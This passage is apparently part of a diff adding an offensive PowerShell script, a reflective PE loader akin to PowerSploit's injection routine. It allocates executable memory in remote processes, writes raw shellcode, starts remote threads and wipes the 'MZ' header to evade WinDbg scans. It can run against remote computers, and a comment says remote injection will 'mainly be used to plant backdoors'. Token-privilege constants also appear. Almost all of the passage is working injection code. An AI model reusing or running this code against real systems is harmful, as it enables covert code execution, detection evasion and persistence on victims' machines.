$Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) + { + Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue + $NXCompatible = $false + } + + + #Verify that the PE and the current process are the same bits (32bit or 64bit) + $Process64Bit = $true + if ($RemoteLoading -eq $true) + { + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process") + if ($Result -eq [IntPtr]::Zero) + { + Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit" + } + + [Bool]$Wow64Process = $false + $Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process) + if ($Success -eq $false) + { + Throw "Call to IsWow64Process failed" + } + + if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4))) + { + $Process64Bit = $false + } + + #PowerShell needs to be same bit as the PE being loaded for IntPtr to work correctly + $PowerShell64Bit = $true + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) + { + $PowerShell64Bit = $false + } + if ($PowerShell64Bit -ne $Process64Bit) + { + throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process" + } + } + else + { + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) + { + $Process64Bit = $false + } + } + if ($Process64Bit -ne $PEInfo.PE64Bit) + { + Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)" + } + + + #Allocate memory and write the PE to memory. If the PE supports ASLR, allocate to a random memory address + Write-Verbose "Allocating memory for the PE and write its headers to memory" + + [IntPtr]$LoadAddr = [IntPtr]::Zero + if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) + { + Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again" -WarningAction Continue + [IntPtr]$LoadAddr = $OriginalImageBase + } + + $PEHandle = [IntPtr]::Zero #This is where the PE is allocated in PowerShell + $EffectivePEHandle = [IntPtr]::Zero #This is the address the PE will be loaded to. If it is loaded in PowerShell, this equals $PEHandle. If it is loaded in a remote process, this is the address in the remote process. + if ($RemoteLoading -eq $true) + { + #Allocate space in the remote process, and also allocate space in PowerShell. The PE will be setup in PowerShell and copied to the remote process when it is setup + $PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + + #todo, error handling needs to delete this memory if an error happens along the way + $EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($EffectivePEHandle -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use" + } + } + else + { + if ($NXCompatible -eq $true) + { + $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + } + else + { + $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + } + $EffectivePEHandle = $PEHandle + } + + [IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage) + if ($PEHandle -eq [IntPtr]::Zero) + { + Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)." + } + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null + + + #Now that the PE is in memory, get more detailed information about it + Write-Verbose "Getting detailed PE information from the headers loaded in memory" + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + $PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress + $PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle + Write-Verbose "StartAddress: $PEHandle EndAddress: $PEEndAddress" + + + #Copy each section from the PE in to memory + Write-Verbose "Copy PE sections in to memory" + Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types + + + #Update the memory addresses hardcoded in to the PE based on the memory address the PE was expecting to be loaded to vs where it was actually loaded + Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory" + Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types + + + #The PE we are in-memory loading has DLLs it needs, import those DLLs for it + Write-Verbose "Import DLL's needed by the PE we are loading" + if ($RemoteLoading -eq $true) + { + Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle + } + else + { + Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants + } + + + #Update the memory protection flags for all the memory just allocated + if ($RemoteLoading -eq $false) + { + if ($NXCompatible -eq $true) + { + Write-Verbose "Update memory protection flags" + Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types + } + else + { + Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute" + } + } + else + { + Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions" + } + + + #If remote loading, copy the DLL in to remote process memory + if ($RemoteLoading -eq $true) + { + [UInt32]$NumBytesWritten = 0 + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten) + if ($Success -eq $false) + { + Throw "Unable to write shellcode to remote process memory." + } + } + + + #Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function + if ($PEInfo.FileType -ieq "DLL") + { + if ($RemoteLoading -eq $false) + { + Write-Verbose "Calling dllmain so the DLL knows it has been loaded" + $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) + $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) + + $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null + } + else + { + $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + + if ($PEInfo.PE64Bit -eq $true) + { + #Shellcode: CallDllMain.asm + $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9) + $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8) + $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + } + else + { + #Shellcode: CallDllMain.asm + $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9) + $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8) + $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3) + } + $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length) + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + } + elseif ($PEInfo.FileType -ieq "EXE") + { + #Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS process + [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1) + [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00) + $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr + + #If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread + # This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread. + [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + Write-Verbose "Call EXE Main function. Address: $ExeMainPtr. Creating thread for the EXE to run in." + + $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null + + while($true) + { + [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0) + if ($ThreadDone -eq 1) + { + Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants + Write-Verbose "EXE thread has completed." + break + } + else + { + Start-Sleep -Seconds 1 + } + } + } + + return @($PEInfo.PEHandle, $EffectivePEHandle) + } + + + Function Invoke-MemoryFreeLibrary + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $PEHandle + ) + + #Get Win32 constants and functions + $Win32Constants = Get-Win32Constants + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + + #Call FreeLibrary for all the imports of the DLL + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) + { + [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) + + while ($true) + { + $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) + + #If the structure is null, it signals that this is the end of the array + if ($ImportDescriptor.Characteristics -eq 0 ` + -and $ImportDescriptor.FirstThunk -eq 0 ` + -and $ImportDescriptor.ForwarderChain -eq 0 ` + -and $ImportDescriptor.Name -eq 0 ` + -and $ImportDescriptor.TimeDateStamp -eq 0) + { + Write-Verbose "Done unloading the libraries needed by the PE" + break + } + + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))) + $ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath) + + if ($ImportDllHandle -eq $null) + { + Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue + } + + $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle) + if ($Success -eq $false) + { + Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue + } + + $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) + } + } + + #Call DllMain with process detach + Write-Verbose "Calling dllmain so the DLL knows it is being unloaded" + $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) + $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) + + $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null + + + $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) + if ($Success -eq $false) + { + Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue + } + } + + + Function Main + { + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + $Win32Constants = Get-Win32Constants + + $RemoteProcHandle = [IntPtr]::Zero + + #If a remote process to inject in to is specified, get a handle to it + if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne "")) + { + Throw "Can't supply a ProcId and ProcName, choose one or the other" + } + elseif ($ProcName -ne $null -and $ProcName -ne "") + { + $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue) + if ($Processes.Count -eq 0) + { + Throw "Can't find process $ProcName" + } + elseif ($Processes.Count -gt 1) + { + $ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId + Write-Output $ProcInfo + Throw "More than one instance of $ProcName found, please specify the process ID to inject in to." + } + else + { + $ProcId = $Processes[0].ID + } + } + + #Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future. + #If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege + # if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId) + # { + # Write-Verbose "Getting SeDebugPrivilege" + # Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants + # } + + if (($ProcId -ne $null) -and ($ProcId -ne 0)) + { + $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId) + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + Throw "Couldn't obtain the handle for process ID: $ProcId" + } + + Write-Verbose "Got the handle for the remote process to inject in to" + } + + + #Load the PE reflectively + Write-Verbose "Calling Invoke-MemoryLoadLibrary" + $PEHandle = [IntPtr]::Zero + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs + } + else + { + $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle + } + if ($PELoadedInfo -eq [IntPtr]::Zero) + { + Throw "Unable to load PE, handle returned is NULL" + } + + $PEHandle = $PELoadedInfo[0] + $RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process + + + #Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function. + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero)) + { + ######################################### + ### YOUR CODE GOES HERE + ######################################### + switch ($FuncReturnType) + { + 'WString' { + Write-Verbose "Calling function with WString return type" + [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "WStringFunc" + if ($WStringFuncAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find function address." + } + $WStringFuncDelegate = Get-DelegateType @() ([IntPtr]) + $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate) + [IntPtr]$OutputPtr = $WStringFunc.Invoke() + $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr) + Write-Output $Output + } + + 'String' { + Write-Verbose "Calling function with String return type" + [IntPtr]$StringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "StringFunc" + if ($StringFuncAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find function address." + } + $StringFuncDelegate = Get-DelegateType @() ([IntPtr]) + $StringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StringFuncAddr, $StringFuncDelegate) + [IntPtr]$OutputPtr = $StringFunc.Invoke() + $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($OutputPtr) + Write-Output $Output + } + + 'Void' { + Write-Verbose "Calling function with Void return type" + [IntPtr]$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" + if ($VoidFuncAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find function address." + } + $VoidFuncDelegate = Get-DelegateType @() ([Void]) + $VoidFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VoidFuncAddr, $VoidFuncDelegate) + $VoidFunc.Invoke() | Out-Null + } + } + ######################################### + ### END OF YOUR CODE + ######################################### + } + #For remote DLL injection, call a void function which takes no parameters + elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero)) + { + $VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" + if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero)) + { + Throw "VoidFunc couldn't be found in the DLL" + } + + $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle + $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle + + #Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions + } + + #Don't free a library if it is injected in a remote process + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + Invoke-MemoryFreeLibrary -PEHandle $PEHandle + } + else + { + #Just delete the memory allocated in PowerShell to build the PE before injecting to remote process + $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) + if ($Success -eq $false) + { + Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue + } + } + + Write-Verbose "Done!" + } + + Main + } + + #Main function to either run the script locally or remotely + Function Main + { + if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent) + { + $DebugPreference = "Continue" + } + + Write-Verbose "PowerShell ProcessID: $PID" + + [Byte[]]$PEBytes = $null + + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8) + { + $PEBytes = $Bytes64 + } + else + { + $PEBytes = $Bytes32 + } + + #Verify the image is a valid PE file + $e_magic = ($PEBytes[0..1] | % {[Char] $_}) -join '' + + if ($e_magic -ne 'MZ') + { + throw 'PE is not a valid PE file.' + } + + # Remove 'MZ' from the PE file so that it cannot be detected by .imgscan in WinDbg + # TODO: Investigate how much of the header can be destroyed, I'd imagine most of it can be. + $PEBytes[0] = 0 + $PEBytes[1] = 0 + + #Add a "program name" to exeargs, just so the string looks as normal as possible (real args start indexing at 1) + if ($ExeArgs -ne $null -and $ExeArgs -ne '') + { + $ExeArgs = "ReflectiveExe $ExeArgs" + } + else + { + $ExeArgs = "ReflectiveExe" + } + + if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$") + { + Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName) + } + else + { + Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName) -ComputerName $ComputerName + } + } + + Main + } + + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-DelegateType + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + ############################### + #Win32Constants + ############################### + $Constants = @{ + ACCESS_SYSTEM_SECURITY = 0x01000000 + READ_CONTROL = 0x00020000 + SYNCHRONIZE = 0x00100000 + STANDARD_RIGHTS_ALL = 0x001F0000 + TOKEN_QUERY = 8 + TOKEN_ADJUST_PRIVILEGES = 0x20 + ERROR_NO_TOKEN = 0x3f0 + SECURITY_DELEGATION = 3 + DACL_SECURITY_INFORMATION = 0x4 + ACCESS_ALLOWED_ACE_TYPE = 0x0 + STANDARD_RIGHTS_REQUIRED = 0x000F0000 + DESKTOP_GENERIC_ALL = 0x000F01FF + WRITE_DAC = 0x00040000 + OBJECT_INHERIT_ACE = 0x1 + GRANT_ACCESS = 0x1 + TRUSTEE_IS_NAME = 0x1 + TRUSTEE_IS_SID = 0x0 + TRUSTEE_IS_USER = 0x1 + TRUSTEE_IS_WELL_KNOWN_GROUP = 0x5 + TRUSTEE_IS_GROUP = 0x2 + PROCESS_QUERY_INFORMATION = 0x400 + TOKEN_ASSIGN_PRIMARY = 0x1 + TOKEN_DUPLICATE = 0x2 + TOKEN_IMPERSONATE = 0x4 + TOKEN_QUERY_SOURCE = 0x10 + STANDARD_RIGHTS_READ = 0x20000 + TokenStatistics = 10 + TOKEN_ALL_ACCESS = 0xf01ff + MAXIMUM_ALLOWED = 0x02000000 + THREAD_ALL_ACCESS = 0x1f03ff + ERROR_INVALID_PARAMETER = 0x57 + LOGON_NETCREDENTIALS_ONLY = 0x2 + SE_PRIVILEGE_ENABLED = 0x2 + SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x1 + SE_PRIVILEGE_REMOVED = 0x4 + CREATE_SUSPENDED = 0x4 + } + + $Win32Constants = New-Object PSObject -Property $Constants + ############################### + + + ############################### + #Win32Structures + ############################### + #Define all the structures/enums that will be used + # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html + $Domain = [AppDomain]::CurrentDomain + $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) + $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + + #Struct STARTUPINFO + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('STARTUPINFO', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('cb', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('lpReserved', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('lpDesktop', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('lpTitle', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('dwX', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwY', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwXSize', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwYSize', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwXCountChars', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwYCountChars', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwFillAttribute', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwFlags', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('wShowWindow', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('cbReserved2', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('lpReserved2', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('hStdInput', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('hStdOutput', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('hStdError', [IntPtr], 'Public') | Out-Null + $STARTUPINFO = $TypeBuilder.CreateType() + + #Struct PROCESS_INFORMATION + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('PROCESS_INFORMATION', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('hProcess', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('hThread', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('dwProcessId', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwThreadId', [UInt32], 'Public') | Out-Null + $PROCESS_INFORMATION = $TypeBuilder.CreateType() + ############################### + + + ############################### + #Win32Functions + ############################### + $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess + $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenProcess = 